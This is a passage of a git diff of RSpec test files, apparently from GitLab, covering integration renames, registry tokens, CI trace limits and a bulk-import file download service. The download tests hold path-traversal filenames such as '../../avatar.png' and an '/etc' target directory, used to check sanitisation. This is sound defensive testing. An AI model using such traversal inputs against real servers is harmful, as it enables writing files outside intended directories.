+ end
+ CODE
+ end
+
+ it 'adds no offense when worker is not an ApplicationWorker' do
+ expect_no_offenses(<<~CODE)
+ class SomeWorker
+ queue_namespace :pipeline_hooks
+ feature_category :continuous_integration
+ urgency :high
+ end
+ CODE
+ end
+end
diff --git a/spec/serializers/analytics/cycle_analytics/stage_entity_spec.rb b/spec/serializers/analytics/cycle_analytics/stage_entity_spec.rb
index 90cc7f7827b..8b45e8a64fc 100644
--- a/spec/serializers/analytics/cycle_analytics/stage_entity_spec.rb
+++ b/spec/serializers/analytics/cycle_analytics/stage_entity_spec.rb
@@ -11,4 +11,12 @@ RSpec.describe Analytics::CycleAnalytics::StageEntity do
expect(entity_json).to have_key(:start_event_html_description)
expect(entity_json).to have_key(:end_event_html_description)
end
+
+ it 'exposes start_event and end_event objects' do
+ expect(entity_json[:start_event][:identifier]).to eq(entity_json[:start_event_identifier])
+ expect(entity_json[:end_event][:identifier]).to eq(entity_json[:end_event_identifier])
+
+ expect(entity_json[:start_event][:html_description]).to eq(entity_json[:start_event_html_description])
+ expect(entity_json[:end_event][:html_description]).to eq(entity_json[:end_event_html_description])
+ end
end
diff --git a/spec/serializers/paginated_diff_entity_spec.rb b/spec/serializers/paginated_diff_entity_spec.rb
index a8ac89a8481..f408deb734e 100644
--- a/spec/serializers/paginated_diff_entity_spec.rb
+++ b/spec/serializers/paginated_diff_entity_spec.rb
@@ -19,21 +19,12 @@ RSpec.describe PaginatedDiffEntity do
subject { entity.as_json }
- before do
- stub_feature_flags(diffs_gradual_load: false)
- end
-
it 'exposes diff_files' do
expect(subject[:diff_files]).to be_present
end
it 'exposes pagination data' do
- expect(subject[:pagination]).to eq(
- current_page: 2,
- next_page: 3,
- next_page_href: "/#{merge_request.project.full_path}/-/merge_requests/#{merge_request.iid}/diffs_batch.json?page=3",
- total_pages: 7
- )
+ expect(subject[:pagination]).to eq(total_pages: 20)
end
context 'when there are conflicts' do
diff --git a/spec/serializers/service_event_entity_spec.rb b/spec/serializers/service_event_entity_spec.rb
index 91254c7dd27..f610c8f1488 100644
--- a/spec/serializers/service_event_entity_spec.rb
+++ b/spec/serializers/service_event_entity_spec.rb
@@ -12,7 +12,7 @@ RSpec.describe ServiceEventEntity do
end
describe '#as_json' do
- context 'service without fields' do
+ context 'integration without fields' do
let(:integration) { create(:emails_on_push_integration, push_events: true) }
let(:event) { 'push' }
@@ -24,8 +24,8 @@ RSpec.describe ServiceEventEntity do
end
end
- context 'service with fields' do
- let(:integration) { create(:slack_service, note_events: false, note_channel: 'note-channel') }
+ context 'integration with fields' do
+ let(:integration) { create(:integrations_slack, note_events: false, note_channel: 'note-channel') }
let(:event) { 'note' }
it 'exposes correct attributes' do
diff --git a/spec/serializers/service_field_entity_spec.rb b/spec/serializers/service_field_entity_spec.rb
index 20ca98416f8..6e9ebfb66d9 100644
--- a/spec/serializers/service_field_entity_spec.rb
+++ b/spec/serializers/service_field_entity_spec.rb
@@ -5,18 +5,18 @@ require 'spec_helper'
RSpec.describe ServiceFieldEntity do
let(:request) { double('request') }
- subject { described_class.new(field, request: request, service: service).as_json }
+ subject { described_class.new(field, request: request, service: integration).as_json }
before do
- allow(request).to receive(:service).and_return(service)
+ allow(request).to receive(:service).and_return(integration)
end
describe '#as_json' do
context 'Jira Service' do
- let(:service) { create(:jira_service) }
+ let(:integration) { create(:jira_integration) }
context 'field with type text' do
- let(:field) { service.global_fields.find { |field| field[:name] == 'username' } }
+ let(:field) { integration_field('username') }
it 'exposes correct attributes' do
expected_hash = {
@@ -35,7 +35,7 @@ RSpec.describe ServiceFieldEntity do
end
context 'field with type password' do
- let(:field) { service.global_fields.find { |field| field[:name] == 'password' } }
+ let(:field) { integration_field('password') }
it 'exposes correct attributes but hides password' do
expected_hash = {
@@ -56,10 +56,9 @@ RSpec.describe ServiceFieldEntity do
context 'EmailsOnPush Service' do
let(:integration) { create(:emails_on_push_integration, send_from_committer_email: '1') }
- let(:service) { integration } # TODO: remove when https://gitlab.com/gitlab-org/gitlab/-/issues/330300 is complete
context 'field with type checkbox' do
- let(:field) { integration.global_fields.find { |field| field[:name] == 'send_from_committer_email' } }
+ let(:field) { integration_field('send_from_committer_email') }
it 'exposes correct attributes and casts value to Boolean' do
expected_hash = {
@@ -78,7 +77,7 @@ RSpec.describe ServiceFieldEntity do
end
context 'field with type select' do
- let(:field) { integration.global_fields.find { |field| field[:name] == 'branches_to_be_notified' } }
+ let(:field) { integration_field('branches_to_be_notified') }
it 'exposes correct attributes' do
expected_hash = {
@@ -97,4 +96,8 @@ RSpec.describe ServiceFieldEntity do
end
end
end
+
+ def integration_field(name)
+ integration.global_fields.find { |f| f[:name] == name }
+ end
end
diff --git a/spec/services/admin/propagate_integration_service_spec.rb b/spec/services/admin/propagate_integration_service_spec.rb
index 13320528e4f..151658fe429 100644
--- a/spec/services/admin/propagate_integration_service_spec.rb
+++ b/spec/services/admin/propagate_integration_service_spec.rb
@@ -7,20 +7,20 @@ RSpec.describe Admin::PropagateIntegrationService do
include JiraServiceHelper
before do
- stub_jira_service_test
+ stub_jira_integration_test
end
let(:group) { create(:group) }
let_it_be(:project) { create(:project) }
- let_it_be(:instance_integration) { create(:jira_service, :instance) }
- let_it_be(:not_inherited_integration) { create(:jira_service, project: project) }
+ let_it_be(:instance_integration) { create(:jira_integration, :instance) }
+ let_it_be(:not_inherited_integration) { create(:jira_integration, project: project) }
let_it_be(:inherited_integration) do
- create(:jira_service, project: create(:project), inherit_from_id: instance_integration.id)
+ create(:jira_integration, project: create(:project), inherit_from_id: instance_integration.id)
end
let_it_be(:different_type_inherited_integration) do
- create(:redmine_service, project: project, inherit_from_id: instance_integration.id)
+ create(:redmine_integration, project: project, inherit_from_id: instance_integration.id)
end
context 'with inherited integration' do
@@ -55,7 +55,7 @@ RSpec.describe Admin::PropagateIntegrationService do
end
context 'for a group-level integration' do
- let(:group_integration) { create(:jira_service, group: group, project: nil) }
+ let(:group_integration) { create(:jira_integration, group: group, project: nil) }
context 'with a project without integration' do
let(:another_project) { create(:project, group: group) }
@@ -81,7 +81,7 @@ RSpec.describe Admin::PropagateIntegrationService do
context 'with a subgroup with integration' do
let(:subgroup) { create(:group, parent: group) }
- let(:subgroup_integration) { create(:jira_service, group: subgroup, project: nil, inherit_from_id: group_integration.id) }
+ let(:subgroup_integration) { create(:jira_integration, group: subgroup, project: nil, inherit_from_id: group_integration.id) }
it 'calls to PropagateIntegrationInheritDescendantWorker' do
expect(PropagateIntegrationInheritDescendantWorker).to receive(:perform_async)
diff --git a/spec/services/admin/propagate_service_template_spec.rb b/spec/services/admin/propagate_service_template_spec.rb
index 1bcf9af78ce..c8ca3173f99 100644
--- a/spec/services/admin/propagate_service_template_spec.rb
+++ b/spec/services/admin/propagate_service_template_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Admin::PropagateServiceTemplate do
describe '.propagate' do
let_it_be(:project) { create(:project) }
+
let!(:service_template) do
Integrations::Pushover.create!(
template: true,
diff --git a/spec/services/alert_management/create_alert_issue_service_spec.rb b/spec/services/alert_management/create_alert_issue_service_spec.rb
index 695e90ebd92..55f8e47717c 100644
--- a/spec/services/alert_management/create_alert_issue_service_spec.rb
+++ b/spec/services/alert_management/create_alert_issue_service_spec.rb
@@ -15,6 +15,7 @@ RSpec.describe AlertManagement::CreateAlertIssueService do
let_it_be(:generic_alert, reload: true) { create(:alert_management_alert, :triggered, project: project, payload: payload) }
let_it_be(:prometheus_alert, reload: true) { create(:alert_management_alert, :triggered, :prometheus, project: project, payload: payload) }
+
let(:alert) { generic_alert }
let(:alert_presenter) { alert.present }
let(:created_issue) { Issue.last! }
diff --git a/spec/services/application_settings/update_service_spec.rb b/spec/services/application_settings/update_service_spec.rb
index 56c1284927d..5f0c02cd521 100644
--- a/spec/services/application_settings/update_service_spec.rb
+++ b/spec/services/application_settings/update_service_spec.rb
@@ -23,8 +23,8 @@ RSpec.describe ApplicationSettings::UpdateService do
context 'when the passed terms are blank' do
let(:params) { { terms: '' } }
- it 'does not create terms' do
- expect { subject.execute }.not_to change { ApplicationSetting::Term.count }
+ it 'does create terms' do
+ expect { subject.execute }.to change { ApplicationSetting::Term.count }.by(1)
end
end
diff --git a/spec/services/audit_event_service_spec.rb b/spec/services/audit_event_service_spec.rb
index 997f506c269..ce7b43972da 100644
--- a/spec/services/audit_event_service_spec.rb
+++ b/spec/services/audit_event_service_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe AuditEventService do
let_it_be(:project) { create(:project) }
let_it_be(:user) { create(:user, :with_sign_ins) }
let_it_be(:project_member) { create(:project_member, user: user) }
+
let(:service) { described_class.new(user, project, { action: :destroy }) }
let(:logger) { instance_double(Gitlab::AuditJsonLogger) }
@@ -78,15 +79,14 @@ RSpec.describe AuditEventService do
context 'with IP address', :request_store do
using RSpec::Parameterized::TableSyntax
- where(:from_caller, :from_context, :from_author_sign_in, :output) do
- '192.168.0.1' | '192.168.0.2' | '192.168.0.3' | '192.168.0.1'
- nil | '192.168.0.2' | '192.168.0.3' | '192.168.0.2'
- nil | nil | '192.168.0.3' | '192.168.0.3'
+ where(:from_context, :from_author_sign_in, :output) do
+ '192.168.0.2' | '192.168.0.3' | '192.168.0.2'
+ nil | '192.168.0.3' | '192.168.0.3'
end
with_them do
let(:user) { create(:user, current_sign_in_ip: from_author_sign_in) }
- let(:audit_service) { described_class.new(user, user, with: 'standard', ip_address: from_caller) }
+ let(:audit_service) { described_class.new(user, user, with: 'standard') }
before do
allow(Gitlab::RequestContext.instance).to receive(:client_ip).and_return(from_context)
diff --git a/spec/services/auth/container_registry_authentication_service_spec.rb b/spec/services/auth/container_registry_authentication_service_spec.rb
index ba7acd3d3df..4124696ac08 100644
--- a/spec/services/auth/container_registry_authentication_service_spec.rb
+++ b/spec/services/auth/container_registry_authentication_service_spec.rb
@@ -6,4 +6,96 @@ RSpec.describe Auth::ContainerRegistryAuthenticationService do
include AdminModeHelper
it_behaves_like 'a container registry auth service'
+
+ context 'when in migration mode' do
+ include_context 'container registry auth service context'
+
+ let_it_be(:current_user) { create(:user) }
+ let_it_be(:project) { create(:project) }
+
+ before do
+ project.add_developer(current_user)
+ end
+
+ shared_examples 'an unmodified token' do
+ it_behaves_like 'a valid token'
+ it { expect(payload['access']).not_to include(have_key('migration_eligible')) }
+ end
+
+ shared_examples 'a modified token with migration eligibility' do |eligible|
+ it_behaves_like 'a valid token'
+ it { expect(payload['access']).to include(include('migration_eligible' => eligible)) }
+ end
+
+ shared_examples 'a modified token' do
+ context 'with a non eligible root ancestor and project' do
+ before do
+ stub_feature_flags(container_registry_migration_phase1_deny: project.root_ancestor)
+ stub_feature_flags(container_registry_migration_phase1_allow: false)
+ end
+
+ it_behaves_like 'a modified token with migration eligibility', false
+ end
+
+ context 'with a non eligible root ancestor and eligible project' do
+ before do
+ stub_feature_flags(container_registry_migration_phase1_deny: false)
+ stub_feature_flags(container_registry_migration_phase1_deny: project.root_ancestor)
+ stub_feature_flags(container_registry_migration_phase1_allow: project)
+ end
+
+ it_behaves_like 'a modified token with migration eligibility', false
+ end
+
+ context 'with an eligible root ancestor and non eligible project' do
+ before do
+ stub_feature_flags(container_registry_migration_phase1_deny: false)
+ stub_feature_flags(container_registry_migration_phase1_allow: false)
+ end
+
+ it_behaves_like 'a modified token with migration eligibility', false
+ end
+
+ context 'with an eligible root ancestor and project' do
+ before do
+ stub_feature_flags(container_registry_migration_phase1_deny: false)
+ stub_feature_flags(container_registry_migration_phase1_allow: project)
+ end
+
+ it_behaves_like 'a modified token with migration eligibility', true
+ end
+ end
+
+ context 'with pull action' do
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:pull"] }
+ end
+
+ it_behaves_like 'an unmodified token'
+ end
+
+ context 'with push action' do
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:push"] }
+ end
+
+ it_behaves_like 'a modified token'
+ end
+
+ context 'with multiple actions including push' do
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:pull,push,delete"] }
+ end
+
+ it_behaves_like 'a modified token'
+ end
+
+ context 'with multiple actions excluding push' do
+ let(:current_params) do
+ { scopes: ["repository:#{project.full_path}:pull,delete"] }
+ end
+
+ it_behaves_like 'an unmodified token'
+ end
+ end
end
diff --git a/spec/services/auth/dependency_proxy_authentication_service_spec.rb b/spec/services/auth/dependency_proxy_authentication_service_spec.rb
index 1fd1677c7da..35e6d59b456 100644
--- a/spec/services/auth/dependency_proxy_authentication_service_spec.rb
+++ b/spec/services/auth/dependency_proxy_authentication_service_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Auth::DependencyProxyAuthenticationService do
let_it_be(:user) { create(:user) }
+
let(:service) { Auth::DependencyProxyAuthenticationService.new(nil, user) }
before do
diff --git a/spec/services/auto_merge_service_spec.rb b/spec/services/auto_merge_service_spec.rb
index 3f7a26aa00e..335c608c206 100644
--- a/spec/services/auto_merge_service_spec.rb
+++ b/spec/services/auto_merge_service_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe AutoMergeService do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { create(:user) }
+
let(:service) { described_class.new(project, user) }
before_all do
diff --git a/spec/services/branches/create_service_spec.rb b/spec/services/branches/create_service_spec.rb
index 5cf0d5af75f..1962aca35e1 100644
--- a/spec/services/branches/create_service_spec.rb
+++ b/spec/services/branches/create_service_spec.rb
@@ -38,10 +38,23 @@ RSpec.describe Branches::CreateService do
end
it 'returns an error with a reference name' do
+ err_msg = 'Failed to create branch \'new-feature\': invalid reference name \'unknown\''
result = service.execute('new-feature', 'unknown')
expect(result[:status]).to eq(:error)
- expect(result[:message]).to eq('Invalid reference name: unknown')
+ expect(result[:message]).to eq(err_msg)
+ end
+ end
+
+ context 'when an ambiguous branch name is provided' do
+ it 'returns an error that branch could not be created' do
+ err_msg = 'Failed to create branch \'feature\': 13:reference is ambiguous.'
+
+ service.execute('feature/widget', 'master')
+ result = service.execute('feature', 'master')
+
+ expect(result[:status]).to eq(:error)
+ expect(result[:message]).to eq(err_msg)
end
end
diff --git a/spec/services/bulk_create_integration_service_spec.rb b/spec/services/bulk_create_integration_service_spec.rb
index 8369eb48088..4b0029e27cb 100644
--- a/spec/services/bulk_create_integration_service_spec.rb
+++ b/spec/services/bulk_create_integration_service_spec.rb
@@ -6,13 +6,14 @@ RSpec.describe BulkCreateIntegrationService do
include JiraServiceHelper
before_all do
- stub_jira_service_test
+ stub_jira_integration_test
end
let_it_be(:excluded_group) { create(:group) }
let_it_be(:excluded_project) { create(:project, group: excluded_group) }
- let(:instance_integration) { create(:jira_service, :instance) }
- let(:template_integration) { create(:jira_service, :template) }
+
+ let(:instance_integration) { create(:jira_integration, :instance) }
+ let(:template_integration) { create(:jira_integration, :template) }
let(:excluded_attributes) { %w[id project_id group_id inherit_from_id instance template created_at updated_at] }
shared_examples 'creates integration from batch ids' do
@@ -49,7 +50,7 @@ RSpec.describe BulkCreateIntegrationService do
context 'with a project association' do
let!(:project) { create(:project) }
- let(:created_integration) { project.jira_service }
+ let(:created_integration) { project.jira_integration }
let(:batch) { Project.where(id: project.id) }
let(:association) { 'project' }
@@ -73,8 +74,8 @@ RSpec.describe BulkCreateIntegrationService do
context 'with a project association' do
let!(:project) { create(:project, group: group) }
- let(:integration) { create(:jira_service, group: group, project: nil) }
- let(:created_integration) { project.jira_service }
+ let(:integration) { create(:jira_integration, group: group, project: nil) }
+ let(:created_integration) { project.jira_integration }
let(:batch) { Project.where(id: Project.minimum(:id)..Project.maximum(:id)).without_integration(integration).in_namespace(integration.group.self_and_descendants) }
let(:association) { 'project' }
let(:inherit_from_id) { integration.id }
@@ -85,7 +86,7 @@ RSpec.describe BulkCreateIntegrationService do
context 'with a group association' do
let!(:subgroup) { create(:group, parent: group) }
- let(:integration) { create(:jira_service, group: group, project: nil, inherit_from_id: instance_integration.id) }
+ let(:integration) { create(:jira_integration, group: group, project: nil, inherit_from_id: instance_integration.id) }
let(:created_integration) { Integration.find_by(group: subgroup) }
let(:batch) { Group.where(id: subgroup.id) }
let(:association) { 'group' }
@@ -101,7 +102,7 @@ RSpec.describe BulkCreateIntegrationService do
context 'with a project association' do
let!(:project) { create(:project) }
- let(:created_integration) { project.jira_service }
+ let(:created_integration) { project.jira_integration }
let(:batch) { Project.where(id: project.id) }
let(:association) { 'project' }
let(:inherit_from_id) { integration.id }
diff --git a/spec/services/bulk_imports/file_download_service_spec.rb b/spec/services/bulk_imports/file_download_service_spec.rb
index 0961ddce553..a24af9ae64d 100644
--- a/spec/services/bulk_imports/file_download_service_spec.rb
+++ b/spec/services/bulk_imports/file_download_service_spec.rb
@@ -4,26 +4,41 @@ require 'spec_helper'
RSpec.describe BulkImports::FileDownloadService do
describe '#execute' do
+ let_it_be(:allowed_content_types) { %w(application/gzip application/octet-stream) }
+ let_it_be(:file_size_limit) { 5.gigabytes }
let_it_be(:config) { build(:bulk_import_configuration) }
let_it_be(:content_type) { 'application/octet-stream' }
+ let_it_be(:content_disposition) { nil }
let_it_be(:filename) { 'file_download_service_spec' }
let_it_be(:tmpdir) { Dir.tmpdir }
let_it_be(:filepath) { File.join(tmpdir, filename) }
+ let_it_be(:content_length) { 1000 }
+
+ let(:chunk_double) { double('chunk', size: 100, code: 200) }
- let(:chunk_double) { double('chunk', size: 1000, code: 200) }
let(:response_double) do
double(
code: 200,
success?: true,
parsed_response: {},
headers: {
- 'content-length' => 100,
- 'content-type' => content_type
+ 'content-length' => content_length,
+ 'content-type' => content_type,
+ 'content-disposition' => content_disposition
}
)
end
- subject { described_class.new(configuration: config, relative_url: '/test', dir: tmpdir, filename: filename) }
+ subject do
+ described_class.new(
+ configuration: config,
+ relative_url: '/test',
+ dir: tmpdir,
+ filename: filename,
+ file_size_limit: file_size_limit,
+ allowed_content_types: allowed_content_types
+ )
+ end
before do
allow_next_instance_of(BulkImports::Clients::HTTP) do |client|
@@ -54,7 +69,14 @@ RSpec.describe BulkImports::FileDownloadService do
stub_application_setting(allow_local_requests_from_web_hooks_and_services: false)
double = instance_double(BulkImports::Configuration, url: 'https://localhost', access_token: 'token')
- service = described_class.new(configuration: double, relative_url: '/test', dir: tmpdir, filename: filename)
+ service = described_class.new(
+ configuration: double,
+ relative_url: '/test',
+ dir: tmpdir,
+ filename: filename,
+ file_size_limit: file_size_limit,
+ allowed_content_types: allowed_content_types
+ )
expect { service.execute }.to raise_error(Gitlab::UrlBlocker::BlockedUrlError)
end
@@ -70,31 +92,46 @@ RSpec.describe BulkImports::FileDownloadService do
context 'when content-length is not valid' do
context 'when content-length exceeds limit' do
- before do
- stub_const("#{described_class}::FILE_SIZE_LIMIT", 1)
- end
+ let(:file_size_limit) { 1 }
it 'raises an error' do
- expect { subject.execute }.to raise_error(described_class::ServiceError, 'Invalid content length')
+ expect { subject.execute }.to raise_error(
+ described_class::ServiceError,
+ 'File size 1000 Bytes exceeds limit of 1 Byte'
+ )
end
end
context 'when content-length is missing' do
- let(:response_double) { double(success?: true, headers: { 'content-type' => content_type }) }
+ let(:content_length) { nil }
it 'raises an error' do
- expect { subject.execute }.to raise_error(described_class::ServiceError, 'Invalid content length')
+ expect { subject.execute }.to raise_error(
+ described_class::ServiceError,
+ 'Missing content-length header'
+ )
end
end
end
- context 'when partially downloaded file exceeds limit' do
- before do
- stub_const("#{described_class}::FILE_SIZE_LIMIT", 150)
+ context 'when content-length is equals the file size limit' do
+ let(:content_length) { 150 }
+ let(:file_size_limit) { 150 }
+
+ it 'does not raise an error' do
+ expect { subject.execute }.not_to raise_error
end
+ end
+
+ context 'when partially downloaded file exceeds limit' do
+ let(:content_length) { 151 }
+ let(:file_size_limit) { 150 }
it 'raises an error' do
- expect { subject.execute }.to raise_error(described_class::ServiceError, 'Invalid downloaded file')
+ expect { subject.execute }.to raise_error(
+ described_class::ServiceError,
+ 'File size 151 Bytes exceeds limit of 150 Bytes'
+ )
end
end
@@ -102,7 +139,10 @@ RSpec.describe BulkImports::FileDownloadService do
let(:chunk_double) { double('chunk', size: 1000, code: 307) }
it 'raises an error' do
- expect { subject.execute }.to raise_error(described_class::ServiceError, 'File download error 307')
+ expect { subject.execute }.to raise_error(
+ described_class::ServiceError,
+ 'File download error 307'
+ )
end
end
@@ -110,23 +150,88 @@ RSpec.describe BulkImports::FileDownloadService do
let_it_be(:symlink) { File.join(tmpdir, 'symlink') }
before do
- FileUtils.ln_s(File.join(tmpdir, filename), symlink)
+ FileUtils.ln_s(File.join(tmpdir, filename), symlink, force: true)
end
- subject { described_class.new(configuration: config, relative_url: '/test', dir: tmpdir, filename: 'symlink') }
+ subject do
+ described_class.new(
+ configuration: config,
+ relative_url: '/test',
+ dir: tmpdir,
+ filename: 'symlink',
+ file_size_limit: file_size_limit,
+ allowed_content_types: allowed_content_types
+ )
+ end
it 'raises an error and removes the file' do
- expect { subject.execute }.to raise_error(described_class::ServiceError, 'Invalid downloaded file')
+ expect { subject.execute }.to raise_error(
+ described_class::ServiceError,
+ 'Invalid downloaded file'
+ )
expect(File.exist?(symlink)).to eq(false)
end
end
context 'when dir is not in tmpdir' do
- subject { described_class.new(configuration: config, relative_url: '/test', dir: '/etc', filename: filename) }
+ subject do
+ described_class.new(
+ configuration: config,
+ relative_url: '/test',
+ dir: '/etc',
+ filename: filename,
+ file_size_limit: file_size_limit,
+ allowed_content_types: allowed_content_types
+ )
+ end
it 'raises an error' do
- expect { subject.execute }.to raise_error(described_class::ServiceError, 'Invalid target directory')
+ expect { subject.execute }.to raise_error(
+ described_class::ServiceError,
+ 'Invalid target directory'
+ )
+ end
+ end
+
+ context 'when using the remote filename' do
+ let_it_be(:filename) { nil }
+
+ context 'when no filename is given' do
+ it 'raises an error when the filename is not provided in the request header' do
+ expect { subject.execute }.to raise_error(
+ described_class::ServiceError,
+ 'Remote filename not provided in content-disposition header'
+ )
+ end
+ end
+
+ context 'with a given filename' do
+ let_it_be(:content_disposition) { 'filename="avatar.png"' }
+
+ it 'uses the given filename' do
+ expect(subject.execute).to eq(File.join(tmpdir, "avatar.png"))
+ end
+ end
+
+ context 'when the filename is a path' do
+ let_it_be(:content_disposition) { 'filename="../../avatar.png"' }
+
+ it 'raises an error when the filename is not provided in the request header' do
+ expect(subject.execute).to eq(File.join(tmpdir, "avatar.png"))
+ end
+ end
+
+ context 'when the filename is longer the the limit' do
+ let_it_be(:content_disposition) { 'filename="../../xxx.b"' }
+
+ before do
+ stub_const("#{described_class}::FILENAME_SIZE_LIMIT", 1)
+ end
+
+ it 'raises an error when the filename is not provided in the request header' do
+ expect(subject.execute).to eq(File.join(tmpdir, "x.b"))
+ end
end
end
end
diff --git a/spec/services/bulk_update_integration_service_spec.rb b/spec/services/bulk_update_integration_service_spec.rb
index a866e0852bc..b6b7d1936a2 100644
--- a/spec/services/bulk_update_integration_service_spec.rb
+++ b/spec/services/bulk_update_integration_service_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe BulkUpdateIntegrationService do
include JiraServiceHelper
before_all do
- stub_jira_service_test
+ stub_jira_integration_test
end
let(:excluded_attributes) { %w[id project_id group_id inherit_from_id instance template created_at updated_at] }
diff --git a/spec/services/captcha/captcha_verification_service_spec.rb b/spec/services/captcha/captcha_verification_service_spec.rb
index 245e06703f5..fe2199fb53e 100644
--- a/spec/services/captcha/captcha_verification_service_spec.rb
+++ b/spec/services/captcha/captcha_verification_service_spec.rb
@@ -4,21 +4,31 @@ require 'spec_helper'
RSpec.describe Captcha::CaptchaVerificationService do
describe '#execute' do
- let(:captcha_response) { nil }
- let(:request) { double(:request) }
- let(:service) { described_class.new }
+ let(:captcha_response) { 'abc123' }
+ let(:fake_ip) { '1.2.3.4' }
+ let(:spam_params) do
+ ::Spam::SpamParams.new(
+ captcha_response: captcha_response,
+ spam_log_id: double,
+ ip_address: fake_ip,
+ user_agent: double,
+ referer: double
+ )
+ end
+
+ let(:service) { described_class.new(spam_params: spam_params) }
- subject { service.execute(captcha_response: captcha_response, request: request) }
+ subject { service.execute }
context 'when there is no captcha_response' do
+ let(:captcha_response) { nil }
+
it 'returns false' do
expect(subject).to eq(false)
end
end
context 'when there is a captcha_response' do
- let(:captcha_response) { 'abc123' }
-
before do
expect(Gitlab::Recaptcha).to receive(:load_configurations!)
end
@@ -29,10 +39,12 @@ RSpec.describe Captcha::CaptchaVerificationService do
expect(subject).to eq(true)
end
- it 'has a request method which returns the request' do
+ it 'has a request method which returns an object with the ip address #remote_ip' do
subject
- expect(service.send(:request)).to eq(request)
+ request_struct = service.send(:request)
+ expect(request_struct).to respond_to(:remote_ip)
+ expect(request_struct.remote_ip).to eq(fake_ip)
end
end
end
diff --git a/spec/services/ci/after_requeue_job_service_spec.rb b/spec/services/ci/after_requeue_job_service_spec.rb
index a2147759dba..f8c49060ce0 100644
--- a/spec/services/ci/after_requeue_job_service_spec.rb
+++ b/spec/services/ci/after_requeue_job_service_spec.rb
@@ -8,9 +8,9 @@ RSpec.describe Ci::AfterRequeueJobService do
let(:pipeline) { create(:ci_pipeline, project: project) }
- let!(:build) { create(:ci_build, pipeline: pipeline, stage_idx: 0) }
let!(:test1) { create(:ci_build, :success, pipeline: pipeline, stage_idx: 1) }
let!(:test2) { create(:ci_build, :skipped, pipeline: pipeline, stage_idx: 1) }
+ let!(:build) { create(:ci_build, pipeline: pipeline, stage_idx: 0, name: 'build') }
subject(:execute_service) { described_class.new(project, user).execute(build) }
@@ -24,6 +24,34 @@ RSpec.describe Ci::AfterRequeueJobService do
expect(test2.reload).to be_created
end
+ context 'when there is a job need from the same stage' do
+ let!(:test3) do
+ create(:ci_build,
+ :skipped,
+ pipeline: pipeline,
+ stage_idx: 0,
+ scheduling_type: :dag)
+ end
+
+ before do
+ create(:ci_build_need, build: test3, name: 'build')
+ end
+
+ it 'marks subsequent skipped jobs as processable' do
+ expect { execute_service }.to change { test3.reload.status }.from('skipped').to('created')
+ end
+
+ context 'with ci_same_stage_job_needs FF disabled' do
+ before do
+ stub_feature_flags(ci_same_stage_job_needs: false)
+ end
+
+ it 'does nothing with the build' do
+ expect { execute_service }.not_to change { test3.reload.status }
+ end
+ end
+ end
+
context 'when the pipeline is a downstream pipeline and the bridge is depended' do
let!(:trigger_job) { create(:ci_bridge, :strategy_depend, status: 'success') }
diff --git a/spec/services/ci/append_build_trace_service_spec.rb b/spec/services/ci/append_build_trace_service_spec.rb
index 8812680b665..b251f00158f 100644
--- a/spec/services/ci/append_build_trace_service_spec.rb
+++ b/spec/services/ci/append_build_trace_service_spec.rb
@@ -5,7 +5,7 @@ require 'spec_helper'
RSpec.describe Ci::AppendBuildTraceService do
let_it_be(:project) { create(:project) }
let_it_be(:pipeline) { create(:ci_pipeline, project: project) }
- let_it_be(:build) { create(:ci_build, :running, pipeline: pipeline) }
+ let_it_be_with_reload(:build) { create(:ci_build, :running, pipeline: pipeline) }
before do
stub_feature_flags(ci_enable_live_trace: true)
@@ -54,4 +54,46 @@ RSpec.describe Ci::AppendBuildTraceService do
expect(result.stream_size).to eq 4
end
end
+
+ context 'when the trace size is exceeded' do
+ before do
+ project.actual_limits.update!(ci_jobs_trace_size_limit: 1)
+ end
+
+ it 'returns 403 status code' do
+ stream_size = 1.25.megabytes
+ body_data = 'x' * stream_size
+ content_range = "0-#{stream_size}"
+
+ result = described_class
+ .new(build, content_range: content_range)
+ .execute(body_data)
+
+ expect(result.status).to eq 403
+ expect(result.stream_size).to be_nil
+ expect(build.trace_chunks.count).to eq 0
+ expect(build.reload).to be_failed
+ expect(build.failure_reason).to eq 'trace_size_exceeded'
+ end
+
+ context 'when the feature flag is disabled' do
+ before do
+ stub_feature_flags(ci_jobs_trace_size_limit: false)
+ end
+
+ it 'appends trace chunks' do
+ stream_size = 1.25.megabytes
+ body_data = 'x' * stream_size
+ content_range = "0-#{stream_size}"
+
+ result = described_class
+ .new(build, content_range: content_range)
+ .execute(body_data)
+
+ expect(result.status).to eq 202
+ expect(result.stream_size).to eq stream_size
+ expect(build.trace_chunks.count).to eq 10
+ end
+ end
+ end
end
diff --git a/spec/services/ci/archive_trace_service_spec.rb b/spec/services/ci/archive_trace_service_spec.rb
index a4f498f17c3..12804efc28c 100644
--- a/spec/services/ci/archive_trace_service_spec.rb
+++ b/spec/services/ci/archive_trace_service_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe Ci::ArchiveTraceService, '#execute' do
- subject { described_class.new.execute(job, worker_name: ArchiveTraceWorker.name) }
+ subject { described_class.new.execute(job, worker_name: Ci::ArchiveTraceWorker.name) }
context 'when job is finished' do
let(:job) { create(:ci_build, :success, :trace_live) }
@@ -30,43 +30,17 @@ RSpec.describe Ci::ArchiveTraceService, '#execute' do
create(:ci_build_trace_chunk, build: job)
end
- context 'when the feature flag `erase_traces_from_already_archived_jobs_when_archiving_again` is enabled' do
- before do
- stub_feature_flags(erase_traces_from_already_archived_jobs_when_archiving_again: true)
- end
-
- it 'removes the trace chunks' do
- expect { subject }.to change { job.trace_chunks.count }.to(0)
- end
-
- context 'when associated data does not exist' do
- before do
- job.job_artifacts_trace.file.remove!
- end
-
- it 'removes the trace artifact' do
- expect { subject }.to change { job.reload.job_artifacts_trace }.to(nil)
- end
- end
+ it 'removes the trace chunks' do
+ expect { subject }.to change { job.trace_chunks.count }.to(0)
end
- context 'when the feature flag `erase_traces_from_already_archived_jobs_when_archiving_again` is disabled' do
+ context 'when associated data does not exist' do
before do
- stub_feature_flags(erase_traces_from_already_archived_jobs_when_archiving_again: false)
+ job.job_artifacts_trace.file.remove!
end
- it 'does not remove the trace chunks' do
- expect { subject }.not_to change { job.trace_chunks.count }
- end
-
- context 'when associated data does not exist' do
- before do
- job.job_artifacts_trace.file.remove!
